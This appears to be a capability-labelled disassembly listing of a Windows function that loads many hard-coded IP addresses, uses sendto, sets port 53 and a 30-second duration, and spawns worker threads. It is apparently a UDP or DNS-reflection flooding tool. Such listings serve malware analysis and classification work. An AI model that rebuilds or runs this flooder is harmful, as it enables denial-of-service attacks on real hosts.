Function at 0x140001500
Capabilities:
Create thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x298]
sub rsp, 0x380
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x250], rax
xor r14d, r14d
lea rdx, str.90.54.220.103
lea rcx, [rbp + 0xd8]
call fcn.1400027c0
nop
lea rdx, [rbp + 0xd8]
call fcn.140002710
nop
lea rcx, [rbp + 0xd8]
call fcn.140002760
lea rdx, str.83.202.41.145
lea rcx, [rbp + 0xf8]
call fcn.1400027c0
nop
lea rdx, [rbp + 0xf8]
call fcn.140002710
nop
lea rcx, [rbp + 0xf8]
call fcn.140002760
lea rdx, str.176.186.54.51
lea rcx, [rbp + 0x118]
call fcn.1400027c0
nop
lea rdx, [rbp + 0x118]
call fcn.140002710
nop
lea rcx, [rbp + 0x118]
call fcn.140002760
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], sendto
mov qword [rsp + 0x68], sendto
movsd xmm0, qword [str.88.167.83.225]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x140005520]
mov dword [rsp + 0x58], eax
movzx eax, byte [0x140005524]
mov byte [rsp + 0x5c], al
mov byte [rsp + 0x5d], r14b
mov rdx, qword [0x140008770]
cmp rdx, qword [0x140008778]
je 0x14000164b
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [rdx + 0x10], xmm1
mov eax, 0xf
mov qword [rsp + 0x68], rax
mov byte [rsp + 0x50], r14b
mov rdx, qword [0x140008770]
add rdx, 0x20
mov qword [0x140008770], rdx
jmp 0x140001661
lea r8, [rsp + 0x50]
call fcn.1400030d0
mov rax, qword [rsp + 0x68]
mov rdx, qword [0x140008770]
cmp rax, 0xf
jbe 0x1400016a1
lea rdx, [rax + 1]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001695
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002436
call fcn.14000370c
mov rdx, qword [0x140008770]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], sendto
mov qword [rbp - 0x78], sendto
movsd xmm0, qword [str.95.182.167.79]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x140005530]
mov dword [rsp + 0x78], eax
movzx eax, byte [0x140005534]
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], 0
cmp rdx, qword [0x140008778]
je 0x14000171c
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp - 0x80]
movups xmmword [rdx + 0x10], xmm1
mov eax, 0xf
mov qword [rbp - 0x78], rax
mov byte [rsp + 0x70], 0
mov rdx, qword [0x140008770]
add rdx, 0x20
mov qword [0x140008770], rdx
jmp 0x140001731
lea r8, [rsp + 0x70]
call fcn.1400030d0
mov rax, qword [rbp - 0x78]
mov rdx, qword [0x140008770]
cmp rax, 0xf
jbe 0x140001771
lea rdx, [rax + 1]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001765
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002436
call fcn.14000370c
mov rdx, qword [0x140008770]
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], sendto
mov qword [rbp - 0x58], sendto
movsd xmm0, qword [str.92.128.24.216]
movsd qword [rbp - 0x70], xmm0
mov eax, dword [0x140005540]
mov dword [rbp - 0x68], eax
movzx eax, byte [0x140005544]
mov byte [rbp - 0x64], al
mov byte [rbp - 0x63], 0
cmp rdx, qword [0x140008778]
je 0x1400017e5
movups xmm0, xmmword [rbp - 0x70]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp - 0x60]
movups xmmword [rdx + 0x10], xmm1
mov eax, 0xf
mov qword [rbp - 0x58], rax
mov byte [rbp - 0x70], 0
mov rdx, qword [0x140008770]
add rdx, 0x20
mov qword [0x140008770], rdx
jmp 0x1400017f9
lea r8, [rbp - 0x70]
call fcn.1400030d0
mov rax, qword [rbp - 0x58]
mov rdx, qword [0x140008770]
cmp rax, 0xf
jbe 0x140001838
lea rdx, [rax + 1]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000182c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002436
call fcn.14000370c
mov rdx, qword [0x140008770]
mov dword [rbp + 0x5c], r14d
mov qword [rbp + 0x60], 0xc
mov qword [rbp + 0x68], sendto
movsd xmm0, qword [str.88.127.37.96]
movsd qword [rbp + 0x50], xmm0
mov eax, dword [0x140005550]
mov dword [rbp + 0x58], eax
mov byte [rbp + 0x5c], 0
cmp rdx, qword [0x140008778]
je 0x14000189f
movups xmm0, xmmword [rbp + 0x50]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x60]
movups xmmword [rdx + 0x10], xmm1
mov eax, 0xf
mov qword [rbp + 0x68], rax
mov byte [rbp + 0x50], 0
mov rdx, qword [0x140008770]
add rdx, 0x20
mov qword [0x140008770], rdx
jmp 0x1400018b3
lea r8, [rbp + 0x50]
call fcn.1400030d0
mov rax, qword [rbp + 0x68]
mov rdx, qword [0x140008770]
cmp rax, 0xf
jbe 0x1400018f2
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002436
call fcn.14000370c
mov rdx, qword [0x140008770]
mov byte [rsp + 0x3f], 0
mov qword [rsp + 0x40], sendto
mov qword [rsp + 0x48], sendto
movsd xmm0, qword [str.176.175.101.101]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x140005560]
mov dword [rsp + 0x38], eax
movzx eax, word [0x140005564]
mov word [rsp + 0x3c], ax
movzx eax, byte [0x140005566]
mov byte [rsp + 0x3e], al
mov byte [rsp + 0x3f], 0
cmp rdx, qword [0x140008778]
je 0x14000197a
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rdx + 0x10], xmm1
mov eax, 0xf
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x30], 0
mov rdx, qword [0x140008770]
add rdx, 0x20
mov qword [0x140008770], rdx
jmp 0x140001990
lea r8, [rsp + 0x30]
call fcn.1400030d0
mov rax, qword [rsp + 0x48]
mov rdx, qword [0x140008770]
cmp rax, 0xf
jbe 0x1400019d0
lea rdx, [rax + 1]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002436
call fcn.14000370c
mov rdx, qword [0x140008770]
mov dword [rbp + 0x7c], r14d
mov qword [rbp + 0x80], sendto
mov qword [rbp + 0x88], sendto
movsd xmm0, qword [str.86.200.8.104]
movsd qword [rbp + 0x70], xmm0
mov eax, dword [0x140005570]
mov dword [rbp + 0x78], eax
mov byte [rbp + 0x7c], 0
cmp rdx, qword [0x140008778]
je 0x140001a43
movups xmm0, xmmword [rbp + 0x70]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x80]
movups xmmword [rdx + 0x10], xmm1
mov eax, 0xf
mov qword [rbp + 0x88], rax
mov byte [rbp + 0x70], 0
mov rdx, qword [0x140008770]
add rdx, 0x20
mov qword [0x140008770], rdx
jmp 0x140001a5a
lea r8, [rbp + 0x70]
call fcn.1400030d0
mov rax, qword [rbp + 0x88]
mov rdx, qword [0x140008770]
cmp rax, 0xf
jbe 0x140001a99
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a8d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002436
call fcn.14000370c
mov rdx, qword [0x140008770]
mov word [rbp - 0x42], r14w
mov qword [rbp - 0x40], sendto
mov qword [rbp - 0x38], sendto
movsd xmm0, qword [str.88.175.135.188]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x140005580]
mov dword [rbp - 0x48], eax
movzx eax, word [0x140005584]
mov word [rbp - 0x44], ax
mov byte [rbp - 0x42], 0
cmp rdx, qword [0x140008778]
je 0x140001b0c
movups xmm0, xmmword [rbp - 0x50]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp - 0x40]
movups xmmword [rdx + 0x10], xmm1
mov eax, 0xf
mov qword [rbp - 0x38], rax
mov byte [rbp - 0x50], 0
mov rdx, qword [0x140008770]
add rdx, 0x20
mov qword [0x140008770], rdx
jmp 0x140001b20
lea r8, [rbp - 0x50]
call fcn.1400030d0
mov rax, qword [rbp - 0x38]
mov rdx, qword [0x140008770]
cmp rax, 0xf
jbe 0x140001b5f
lea rdx, [rax + 1]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002436
call fcn.14000370c
mov rdx, qword [0x140008770]
mov word [rbp - 0x22], r14w
mov qword [rbp - 0x20], sendto
mov qword [rbp - 0x18], sendto
movsd xmm0, qword [str.92.184.123.153]
movsd qword [rbp - 0x30], xmm0
mov eax, dword [0x140005590]
mov dword [rbp - 0x28], eax
movzx eax, word [0x140005594]
mov word [rbp - 0x24], ax
mov byte [rbp - 0x22], 0
cmp rdx, qword [0x140008778]
je 0x140001bd2
movups xmm0, xmmword [rbp - 0x30]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp - 0x20]
movups xmmword [rdx + 0x10], xmm1
mov eax, 0xf
mov qword [rbp - 0x18], rax
mov byte [rbp - 0x30], 0
mov rdx, qword [0x140008770]
add rdx, 0x20
mov qword [0x140008770], rdx
jmp 0x140001be6
lea r8, [rbp - 0x30]
call fcn.1400030d0
mov rax, qword [rbp - 0x18]
mov rdx, qword [0x140008770]
cmp rax, 0xf
jbe 0x140001c25
lea rdx, [rax + 1]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c19
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002436
call fcn.14000370c
mov rdx, qword [0x140008770]
mov dword [rbp + 0x9c], r14d
mov qword [rbp + 0xa0], sendto
mov qword [rbp + 0xa8], sendto
movsd xmm0, qword [str.81.220.68.65]
movsd qword [rbp + 0x90], xmm0
mov eax, dword [0x1400055a0]
mov dword [rbp + 0x98], eax
mov byte [rbp + 0x9c], 0
cmp rdx, qword [0x140008778]
je 0x140001caa
movups xmm0, xmmword [rbp + 0x90]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0xa0]
movups xmmword [rdx + 0x10], xmm1
mov eax, 0xf
mov qword [rbp + 0xa8], rax
mov byte [rbp + 0x90], 0
mov rdx, qword [0x140008770]
add rdx, 0x20
mov qword [0x140008770], rdx
jmp 0x140001cc4
lea r8, [rbp + 0x90]
call fcn.1400030d0
mov rax, qword [rbp + 0xa8]
mov rdx, qword [0x140008770]
cmp rax, 0xf
jbe 0x140001d06
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001cfa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002436
call fcn.14000370c
mov rdx, qword [0x140008770]
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], sendto
mov qword [rbp + 8], sendto
movsd xmm0, qword [str.37.66.210.171]
movsd qword [rbp - 0x10], xmm0
mov eax, dword [0x1400055b0]
mov dword [rbp - 8], eax
movzx eax, byte [0x1400055b4]
mov byte [rbp - 4], al
mov byte [rbp - 3], 0
cmp rdx, qword [0x140008778]
je 0x140001d7a
movups xmm0, xmmword [rbp - 0x10]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp]
movups xmmword [rdx + 0x10], xmm1
mov eax, 0xf
mov qword [rbp + 8], rax
mov byte [rbp - 0x10], 0
mov rdx, qword [0x140008770]
add rdx, 0x20
mov qword [0x140008770], rdx
jmp 0x140001d8e
lea r8, [rbp - 0x10]
call fcn.1400030d0
mov rax, qword [rbp + 8]
mov rdx, qword [0x140008770]
cmp rax, 0xf
jbe 0x140001dcd
lea rdx, [rax + 1]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001dc1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002436
call fcn.14000370c
mov rdx, qword [0x140008770]
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], sendto
mov qword [rbp + 0x28], sendto
movsd xmm0, qword [str.91.170.223.20]
movsd qword [rbp + 0x10], xmm0
mov eax, dword [0x1400055c0]
mov dword [rbp + 0x18], eax
movzx eax, byte [0x1400055c4]
mov byte [rbp + 0x1c], al
mov byte [rbp + 0x1d], 0
cmp rdx, qword [0x140008778]
je 0x140001e41
movups xmm0, xmmword [rbp + 0x10]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x20]
movups xmmword [rdx + 0x10], xmm1
mov eax, 0xf
mov qword [rbp + 0x28], rax
mov byte [rbp + 0x10], 0
mov rdx, qword [0x140008770]
add rdx, 0x20
mov qword [0x140008770], rdx
jmp 0x140001e55
lea r8, [rbp + 0x10]
call fcn.1400030d0
mov rax, qword [rbp + 0x28]
mov rdx, qword [0x140008770]
cmp rax, 0xf
jbe 0x140001e94
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e88
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002436
call fcn.14000370c
mov rdx, qword [0x140008770]
mov word [rbp + 0x3e], r14w
mov qword [rbp + 0x40], sendto
mov qword [rbp + 0x48], sendto
movsd xmm0, qword [str.91.161.243.205]
movsd qword [rbp + 0x30], xmm0
mov eax, dword [0x1400055d0]
mov dword [rbp + 0x38], eax
movzx eax, word [0x1400055d4]
mov word [rbp + 0x3c], ax
mov byte [rbp + 0x3e], 0
cmp rdx, qword [0x140008778]
je 0x140001f00
movups xmm0, xmmword [rbp + 0x30]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x40]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x40], r14
mov qword [rbp + 0x48], sendto
mov byte [rbp + 0x30], 0
add qword [0x140008770], 0x20
jmp 0x140001f0a
lea r8, [rbp + 0x30]
call fcn.1400030d0
nop
lea rcx, [rbp + 0x30]
call fcn.140002760
lea rdx, str.93.15.88.121
lea rcx, [rbp + 0x138]
call fcn.1400027c0
nop
lea rdx, [rbp + 0x138]
call fcn.140002710
nop
lea rcx, [rbp + 0x138]
call fcn.140002760
lea rdx, str.86.74.196.162
lea rcx, [rbp + 0x158]
call fcn.1400027c0
nop
lea rdx, [rbp + 0x158]
call fcn.140002710
nop
lea rcx, [rbp + 0x158]
call fcn.140002760
lea rdx, str.176.143.55.118
lea rcx, [rbp + 0x178]
call fcn.1400027c0
nop
lea rdx, [rbp + 0x178]
call fcn.140002710
nop
lea rcx, [rbp + 0x178]
call fcn.140002760
lea rdx, str.86.233.238.243
lea rcx, [rbp + 0x198]
call fcn.1400027c0
nop
lea rdx, [rbp + 0x198]
call fcn.140002710
nop
lea rcx, [rbp + 0x198]
call fcn.140002760
lea rdx, str.176.131.57.156
lea rcx, [rbp + 0x1b8]
call fcn.1400027c0
nop
lea rdx, [rbp + 0x1b8]
call fcn.140002710
nop
lea rcx, [rbp + 0x1b8]
call fcn.140002760
lea rdx, str.91.173.119.10
lea rcx, [rbp + 0x1d8]
call fcn.1400027c0
nop
lea rdx, [rbp + 0x1d8]
call fcn.140002710
nop
lea rcx, [rbp + 0x1d8]
call fcn.140002760
lea rdx, str.141.24.210.140
lea rcx, [rbp + 0x230]
call fcn.1400027c0
nop
mov dword [rbp + 0x1f8], 0x35
lea rdx, str.IP_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400029a0
mov rcx, rax
lea rdx, [rbp + 0x230]
call fcn.140002b70
mov rcx, rax
lea rdx, [0x140005648]
call fcn.1400029a0
lea rdx, str.Port_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400029a0
mov rcx, rax
mov edx, dword [rbp + 0x1f8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140005648]
call fcn.1400029a0
lea rdx, str.Time_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400029a0
mov rcx, rax
mov edx, 0x1e
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140005648]
call fcn.1400029a0
lea rcx, [rbp + 0xb0]
call fcn.1400011e0
movabs rcx, 0x6fc23ac00
add rcx, qword [rbp + 0xb0]
mov qword [rbp + 0x218], rcx
mov byte [rbp + 0x1fc], 0
lea rax, [rbp + 0x1f8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x230]
lea r8, [rbp + 0x218]
lea rdx, [rbp + 0x1fc]
lea rcx, [rbp + 0xb8]
call fcn.140002650
lea rcx, [rbp + 0x200]
call fcn.140002670
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x200], xmm1
mov rax, r14
mov qword [rbp + 0x210], rax
mov edi, r14d
movups xmm6, xmmword [rbp + 0xc8]
movups xmm7, xmmword [rbp + 0xb8]
mov rbx, qword [rbp + 0x208]
cmp rbx, rax
je 0x1400021bd
mov ecx, 0x20
call fcn.140003490
movups xmmword [rax], xmm7
movups xmmword [rax + 0x10], xmm6
mov qword [rbp + 0x220], rax
lea rsi, [rbx + 8]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x140003420]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbx], rax
test rax, rax
je 0x1400021ed
mov rbx, qword [rbp + 0x208]
add rbx, 0x10
mov qword [rbp + 0x208], rbx
jmp 0x1400021da
lea r8, [rbp + 0xb8]
mov rdx, rbx
lea rcx, [rbp + 0x200]
call fcn.140002e10
mov rbx, qword [rbp + 0x208]
inc edi
cmp edi, 4
jge 0x1400021fc
mov rax, qword [rbp + 0x210]
jmp 0x140002162
mov dword [rsi], r14d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
movabs rdi, 0xb2f4fc0794908cf3
movabs rsi, 0x4e94914f0000
movabs r15, 0x431bde82d7b634db
nop word [rax + rax]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
cmp rbx, 0x989680
jne 0x140002241
imul rax, rcx, 0x64
jmp 0x1400022b0
cmp rbx, 0x16e3600
jne 0x140002295
mov rax, rdi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rdi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x1400022b0
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
mov rcx, qword [rbp + 0x218]
cmp rax, rcx
jge 0x140002302
sub rcx, rax
cmp rcx, rsi
jl 0x1400022d3
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x140002220
mov rax, r15
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x1400022f6
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x140002220
mov eax, 1
xchg byte [rbp + 0x1fc], al
mov rbx, qword [rbp + 0x200]
mov rdi, qword [rbp + 0x208]
cmp rbx, rdi
je 0x14000236f
cmp dword [rbx + 8], 0
je 0x140002358
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rbx + 8], eax
je 0x1400023d1
movups xmm0, xmmword [rbx]
movaps xmmword [rbp + 0x220], xmm0
xor edx, edx
lea rcx, [rbp + 0x220]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
jne 0x1400023c5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
add rbx, 0x10
cmp rbx, rdi
jne 0x140002320
mov rdi, qword [rbp + 0x208]
mov rbx, qword [rbp + 0x200]
test rbx, rbx
je 0x1400023fe
mov rax, rbx
cmp rbx, rdi
je 0x14000238f
cmp dword [rax + 8], 0
jne 0x1400023dd
add rax, 0x10
cmp rax, rdi
jne 0x140002380
mov rdx, qword [rbp + 0x210]
sub rdx, rbx
and rdx, 0xfffffffffffffff0
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400023e4
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400023e4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov rcx, rbx
call fcn.14000370c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x200], xmm0
mov qword [rbp + 0x210], r14
mov rdx, qword [rbp + 0x248]
cmp rdx, 0xf
jbe 0x140002442
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000243d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000243d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000370c
xor eax, eax
mov rcx, qword [rbp + 0x250]
xor rcx, rsp
call fcn.140003470
lea r11, [rsp + 0x380]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop rbp
ret